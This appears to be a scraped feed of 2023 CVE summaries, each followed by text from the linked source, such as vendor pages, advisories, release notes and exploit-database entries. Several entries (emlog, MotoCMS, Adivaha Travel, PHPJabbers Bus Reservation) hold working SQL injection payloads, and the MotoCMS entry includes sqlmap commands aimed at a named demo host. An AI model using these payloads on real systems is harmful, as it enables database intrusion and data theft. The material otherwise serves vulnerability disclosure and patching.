ai-dev aitable before v0.2.2 was discovered to contain a SQL injection vulnerability via the component /includes/ajax.php.

**More info**

To familiarize yourself with what is done on the web, you have **visited** several sites in the **same field** as yours, and you have **realized** that all had a c**ommon point**, and not a good point, the **visual bland** and **standardized** that everyone uses, either for **lack of means** or **lack of creativity**, and suddenly you say that customers always see the same thing, and that their choice is therefore only on the prices.

So you are **tired** of the simple but **not very exciting** display of Prestashop, this technique will allow you on one hand to revive the **interest of visitors** to your site compared to competitors, which can cause a purchase even if your rates are a little above those practiced in the area, but you can also look to put important information **more visible** and especially to distinguish yourself from the competition by adding a **more ergonomic** and **fun display** for you customers.

**Simplify the display of some attributes** and make understanding of these **simplest to your customers** is exactly what provides the **attribute display in a table module**.

At a glance, the **prices of both attributes are visible** to the customer and his **choice is simplified**, no need to go through the different attribute values to get a purchase price.

This module allows to define two attributes that will be displayed as a table.

The first attribute (the one displayed in columns) can be a delay attribute for **delivery for** **example** in this case you can determine the days to be taken into account for the calculation of delivery time, public holidays are automa

tically taken into account.

**The module is fully skinnable.**  

Links to download the documentations of the module are available at the bottom of the page.

**Prestashop compatible v****ersions**

1.6 & 1.7

**module** **version**

0.2.2

Demo url

**Download**

CVE-2023-33665: Ergonomie : Table attributes

emlog v2.1.9 was discovered to contain a SQL injection vulnerability via the component /admin/user.php.

1.  First log in to the administrator's background home page, find System -> Data -> Click Start Backup, first get an sql file  
    http://127.0.0.1/emlog/admin/data.php
2.  Modify the sql file and add a line of code to the user table of the database

POC:  
INSERT INTO emlog\_user VALUES('110','','$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.',(select user()),'writer','n','','123@qq.com','','','0','1687261845','1687261845');  
3\. Save the sql file - > and then select Import sql file, select the modified sql file just now, click Import, if successful, the import success will be displayed, and then click User module  
http://127.0.0.1/emlog/admin/user.php, you'll find the SQL statement is executed successfully

CVE-2023-39121: There is sql injection in the background of emlog 2.1.9. · Issue #1 · safe-b/CVE

ai-dev aioptimizedcombinations before v0.1.3 was discovered to contain a SQL injection vulnerability via the component /includes/ajax.php.

In the module “Customization fields fee for your store” (aioptimizedcombinations) for PrestaShop, an attacker can perform a SQL injection up to 0.1.2. Release 0.1.3 fixed this security issue.

**Summary**

*   **CVE ID**: CVE-2023-33666
*   **Published at**: 2023-08-03
*   **Advisory source**: Friends-Of-Presta.org
*   **Platform**: PrestaShop
*   **Product**: aioptimizedcombinations
*   **Impacted release**: <= 0.1.2 (0.1.3 fixed issue)
*   **Product author**: ai-dev
*   **Weakness**: CWE-89
*   **Severity**: critical (9.8)

**Description**

Up to 0.1.3, a sensitive SQL call in file includes/ajax.php can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted attributes variables.

**CVSS base metrics**

*   **Attack vector**: network
*   **Attack complexity**: low
*   **Privilege required**: none
*   **User interaction**: none
*   **Scope**: unchanged
*   **Confidentiality**: high
*   **Integrity**: high
*   **Availability**: high

**Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Possible malicious usage**

*   Technical and personal data leaks
*   Obtain admin access
*   Remove all data of the linked PrestaShop
*   Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem

**Patch**

    --- a/modules/aioptimizedcombinations/includes/ajax.php
    +++ b/modules/aioptimizedcombinations/includes/ajax.php
    switch (Tools::getValue('action'))
    {
    	case 'getCombination' :
    		/* If no product or combination, we quit */
    		if (!Tools::getIsset('product') || !Tools::getIsset('attributes'))
    			die();
    
    		$attributes = explode(',', Tools::getValue('attributes'));
    		
    		/* Get combination id */
    		$combination_data = Db::getInstance()->getRow(
    			'SELECT COUNT(*) as number, pa.id_product_attribute FROM '._DB_PREFIX_.'product_attribute AS pa LEFT JOIN '._DB_PREFIX_.'product_attribute_combination AS pac ON pa.id_product_attribute = pac.id_product_attribute WHERE pa.id_product = '.
    -			(int)Tools::getValue('product').' AND pac.id_attribute IN ('.pSQL(Tools::getValue('attributes')).') GROUP BY pa.id_product_attribute HAVING number = '.count($attributes)
    +			(int)Tools::getValue('product').' AND pac.id_attribute IN ('.implode(',', array_map('intval', explode(',', Tools::getValue('attributes')))).') GROUP BY pa.id_product_attribute HAVING number = '.count($attributes)
    		);
    

**Other recommandations**

*   Upgrade PrestaShop to the latest version to disable multiquery execution (separated by “;”) - be warned that this functionality **WILL NOT** protect your SHOP against injection SQL which uses the UNION clause to steal data.
*   Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS
*   Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.

**Timeline**

Date

Action

2023-05-08

Vunlnerability found during a audit by 202 ecommerce

2023-05-10

Contact the author

2023-05-12

The author confirm the issue and supply a fixed release

2023-05-12

Request a CVE ID

2023-08-03

Publication of this advisory

**Links**

*   Author product page
*   National Vulnerability Database

CVE-2023-33666: [CVE-2023-33666] Improper neutralization of a SQL parameter in aioptimizedcombinations from ai-dev module for PrestaShop

Cross Site Scripting vulnerability in Xoops CMS v.2.5.10 allows a remote attacker to execute arbitrary code via the category name field of the image manager function.

This version includes numerous improvements and fixes, including:

*   PHP 7.3 compatibility
*   MySQL 8.0 compatibility
*   XMF improvements for module writers
*   Security updates
*   Updated libraries
*   and many more fixes and updates

See the changelog for more details.

**Asset Checksums**

    SHA256 
    0947834f3943b9352ae3dc21235d83593a60948092c9490a54dbe02aa95202eb  XoopsCore25-2.5.10.tar.gz
    0de298a9680a7aad7627e786750ee6d0f084925f824175a59edeb7577f9cb6c6  XoopsCore25-2.5.10.zip
    
    MD5
    4765767d341826f175fd41831c49bba2  XoopsCore25-2.5.10.tar.gz
    9d5f77d0b3bfeb6a75e844a42a162a92  XoopsCore25-2.5.10.zip
    

Individual file checksums are available in XOOPS/xfilecheck

CVE-2023-36217: Release XOOPS Version 2.5.10 Final · XOOPS/XoopsCore25

SQL injection vulnerability in MotoCMS v.3.4.3 allows a remote attacker to gain privileges via the keyword parameter of the search function.

    # Title: MotoCMS Version 3.4.3 - SQL Injection
    # Author: tmrswrr
    # Date: 01/06/2023
    # Vendor: https://www.motocms.com
    # Link: https://www.motocms.com/website-templates/demo/189526.html
    # Vulnerable Version(s): MotoCMS  3.4.3
    
    
    ## Description
    MotoCMS Version 3.4.3 SQL Injection via the keyword parameter.
    
    ## Steps to Reproduce
    
    1) By visiting the url:
    https://template189526.motopreview.com/store/category/search/?keyword=1
    
    2) Run sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1" --random-agent --level 5 --risk 3 --batch  and this command sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
    
    ### Parameter & Payloads ###
    
    Parameter: keyword (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: keyword=1%' AND 3602=3602 AND 'ZnYV%'='ZnYV
    
    Parameter: #1* (URI)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: https://template189526.motopreview.com:443/store/category/search/?keyword=1%' AND 6651=6651 AND 'BvJE%'='BvJE

CVE-2023-36213: OffSec’s Exploit Database Archive

A SQL injection vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows authenticated users to inject arbitrary SQL directives into an SQL statement and execute arbitrary SQL commands.

**Disclosure Policy**

Team82 is committed to privately reporting vulnerabilities to affected vendors in a coordinated, timely manner in order to ensure the safety of the cybersecurity ecosystem worldwide. To engage with the vendor and research community, Team82 invites you to download and share our Coordinated Disclosure Policy. Team82 will adhere to this reporting and disclosure process when we discover vulnerabilities in products and services.

**Public Email & PGP Key**

Team82 has also made its public PGP Key available for the vendor and research community to securely and safely exchange vulnerability and research information with us.

CVE-2023-33366: CVE-2023-33366

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CrafterCMS Engine on Windows, MacOS, Linux, x86, ARM, 64 bit allows Reflected XSS.This issue affects CrafterCMS: from 4.0.0 through 4.0.2, from 3.1.0 through 3.1.27.



CrafterCMS

*   

**CV-2023080301**

 

**Date**

2023.08.03

**Affected Versions**

**4.0** <= 4.0.2, **3.1** =< 3.1.27

**Vulnerability Type**

CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

**Risk**

High

**Description**

Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in CrafterCMS Engine on Windows, MacOS, Linux, x86, ARM, 64 bit allows Reflected XSS.

**CVE**

https://www.cve.org/cverecord?id=CVE-2023-4136

**Credit**

Discovered by Egidio Romano <egidio.romano@mindedsecurity.com\>, working with IMQ Minded Security

**CV-2023021701**

 

**Date**

2023.02.17

**Affected Versions**

**4.0** <= 4.0.1, **3.1** =< 3.1.26

**Vulnerability Type**

CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**Risk**

Medium

**Description**

Authenticated administrators can perform a SQL Injection attack against the authoring database that holds Studio users, groups, and item workflow states.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2023-26020

**Credit**

Gil Correia, gil.correia@devoteam.com

**CV-2022091302**

 

**Date**

2022.09.13

**Affected Versions**

**3.1** < 3.1.23

**Vulnerability Type**

CWE-913 Improper Control of Dynamically-Managed Code Resources

**Risk**

Medium

**Description**

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2022-40635

**Credit**

Matei “Mal” Badanoiu, https://github.com/mbadanoiu

**CV-2022091301**

 

**Date**

2022.09.13

**Affected Versions**

**3.1** < 3.1.23

**Vulnerability Type**

CWE-913 Improper Control of Dynamically-Managed Code Resources

**Risk**

Medium

**Description**

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker SSTI.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2022-40634

**Credit**

Matei “Mal” Badanoiu, https://github.com/mbadanoiu

**CV-2022051603**

 

**Date**

2022.05.16

**Affected Versions**

**3.1** < 3.1.18

**Vulnerability Type**

CWE-913 Improper Control of Dynamically-Managed Code Resources

**Risk**

High

**Description**

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker static methods.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23267

**Credit**

Kai Zhao (ToTU Security Team), https://github.com/happyhacking-k

**CV-2022051602**

 

**Date**

2022.05.16

**Affected Versions**

**3.1** < 3.1.18

**Vulnerability Type**

CWE-117 Improper Output Neutralization for Logs

**Risk**

Medium

**Description**

An anonymous user can craft a URL with text that ends up in the log viewer as is.The text can then include textual messages to mislead the administrator.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23266

**Credit**

Faizan Wani, https://github.com/faizanw8

**CV-2021120106**

 

**Date**

2021.12.01

**Affected Versions**

**3.1** < 3.1.15

**Vulnerability Type**

CWE-402: Transmission of Private Resources into a New Sphere (‘Resource Leak’)

**Risk**

Medium

**Description**

Transmission of Private Resources into a New Sphere (‘Resource Leak’) in CrafterEngine

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23263

**Credit**

Carlos Ortiz, https://github.com/cortiz

**CV-2021120107**

 

**Date**

2021.12.01

**Affected Versions**

**3.1** < 3.1.15

**Vulnerability Type**

CWE-402: Transmission of Private Resources into a New Sphere (‘Resource Leak’) CWE-668 Exposure of Resource to Wrong Sphere

**Risk**

High

**Description**

Transmission of Private Resources into a New Sphere (‘Resource Leak’) and Exposureof Resource to Wrong Sphere in Crafter Search

**CVE**

https://www.cve.org/CVERecord?id=CVE-2021-23264

**Credit**

Sparsh Kulshrestha, https://github.com/sparshkulshrestha

**CV-2020080102**

 

**Date**

2020.08.01

**Affected Versions**

**3.0** < 3.0.27  
**3.1** < 3.1.7

**Vulnerability Type**

RCE

**Risk**

Medium

**Description**

Authenticated attackers with developer privileges in Crafter Studio may execute OS commands via deep inspection of FreeMarker template exposed objects.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2020-25803

**Credit**

Alvaro Muñoz (GitHub), https://github.com/pwntester

**CV-2017061502**

 

**Date**

2017.06.15

**Affected Versions**

**3.0** < 3.0.1

**Vulnerability Type**

Directory Traversal

**Risk**

Critical

**Description**

A directory traversal vulnerability exists which allows unauthenticated attackers to overwrite files from the operating system which can lead to RCE.

**CVE**

https://www.cve.org/CVERecord?id=CVE-2017-15681

**Credit**

Jasmin Landry, https://github.com/JR0ch17

CVE-2023-4136: Security Advisories — CrafterCMS 4.0.7 documentation

A File Upload vulnerability in typecho v.1.2.1 allows a remote attacker to execute arbitrary code via the upload and options-general parameters in index.php.

**What's Changed**

*   Fix checkVersion by @sy-records in #1356
*   修复Sqlite目录带.校验不通过问题 by @maoxian-1 in #1357
*   Pr/1344 by @joyqi in #1360
*   Fix pgsql reset id error by @sy-records in #1369
*   Update admin welcome tip by @sy-records in #1389
*   Enhancement of Typecho\\Cookie by @sy-records in #1399
*   fix CORS issues in preview page. 修复文章预览页面跨域问题 by @Valpha in #1400
*   模板缩略图支持识别webp图片后缀 by @jrotty in #1403
*   修正注释 by @jrotty in #1411
*   Fix notice not clear by @sy-records in #1416
*   修复管理员进入其他用户文章列表时显示所有文章的bug by @jrotty in #1415
*   Fix QUIC/https Mixed Content by @MBRjun in #1423
*   Add admin/footer.php begin plugin by @sy-records in #1426
*   Fix missing change themeUrl by @sy-records in #1431
*   Fix category creation error when using xmlrpc by @sy-records in #1443
*   Fix #1449 by @sy-records in #1450
*   Minor update by @vndroid in #1451
*   Minor update by @vndroid in #1460
*   Fix the error of getting request parameters by @sy-records in #1464
*   Fix multiple calls returning the same object (#1412) by @benzBrake in #1478
*   Fix use SQLite error of windows install by @sy-records in #1471
*   Adjust style of edit comments by @sy-records in #1483
*   Fix comments feed jump error by @sy-records in #1491
*   Fix #1495 by @sy-records in #1496
*   Fix unsafe use of jQuery .html() by @l2dy in #1382
*   Fix htmlspecialchars error for feed by @sy-records in #1522
*   Use https links by @l2dy in #1280
*   Support ssl for pdo\_mysql and mysqli by @sy-records in #1525
*   Fix: php 8.1 strtolower not allow null value by @benzBrake in #1559
*   Fix an XSS vulnerability in v1.2.1-rc by @FaithPatrick in #1561
*   fix php 8.1 Deprecated: htmlspecialchars(): Passing null to parameter #1 by @benzBrake in #1570
*   Add a prompt message for manual database creation by @sy-records in #1348
*   fix #1574 by @joyqi in #1575
*   improve release ci, upload built asset after new release published. by @joyqi in #1576
*   重复执行判断的优化 by @logdd in #1586

**New Contributors**

*   @maoxian-1 made their first contribution in #1357
*   @Valpha made their first contribution in #1400
*   @MBRjun made their first contribution in #1423
*   @vndroid made their first contribution in #1451
*   @benzBrake made their first contribution in #1478
*   @FaithPatrick made their first contribution in #1561
*   @logdd made their first contribution in #1586

**Full Changelog**: v1.2.0...v1.2.1

CVE-2023-36299: Release v1.2.1 · typecho/typecho

WordPress Adivaha Travel plugin version 2.3 suffers from a remote SQL injection vulnerability.

    # Exploit Title: WordPress adivaha Travel Plugin 2.3 - SQL Injection# Exploit Author: CraCkEr# Date: 29/07/2023# Vendor: adivaha - Travel Tech Company# Vendor Homepage: https://www.adivaha.com/# Software Link: https://wordpress.org/plugins/adiaha-hotel/# Demo: https://www.adivaha.com/demo/adivaha-online/# Tested on: Windows 10 Pro# Impact: Database Access## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionSQL injection attacks can allow unauthorized access to sensitive data, modification ofdata and crash the application or make it unavailable, leading to lost revenue anddamage to a company's reputation.Path: /mobile-app/v3/GET  parameter 'pid' is vulnerable to SQL Injectionhttps://website/mobile-app/v3/?pid=[SQLI]&isMobile=chatbot---Parameter: pid (GET)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)    Payload: pid=77A89299'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z&isMobile=chatbot---[-] Done

WordPress Adivaha Travel 2.3 SQL Injection

PHPJabbers Bus Reservation System version 1.1 suffers from a remote SQL injection vulnerability.

    # Exploit Title: PHPJabbers Bus Reservation System 1.1 - SQL Injection# Exploit Author: CraCkEr# Date: 20/07/2023# Vendor: PHPJabbers# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/bus-reservation-system/# Tested on: Windows 10 Pro# Impact: Database Access# CVE: CVE-2023-4111## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionSQL injection attacks can allow unauthorized access to sensitive data, modification ofdata and crash the application or make it unavailable, leading to lost revenue anddamage to a company's reputation.Path: /index.phpGET parameter 'pickup_id' is vulnerable to SQL Injectionhttps://website/index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=[SQLi]&session_id=---Parameter: pickup_id (GET)    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=3 AND (SELECT(0)FROM(SELECT COUNT(*),CONCAT_WS(0x28,0x7e,0x72306f746833783439,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&session_id=    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=3 AND 07569=7569&session_id=    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind (IF - comment)    Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=3) AND IF(now()=sysdate(),SLEEP(5),0)-- wXyW&session_id=---[-] Done

Tag

#sql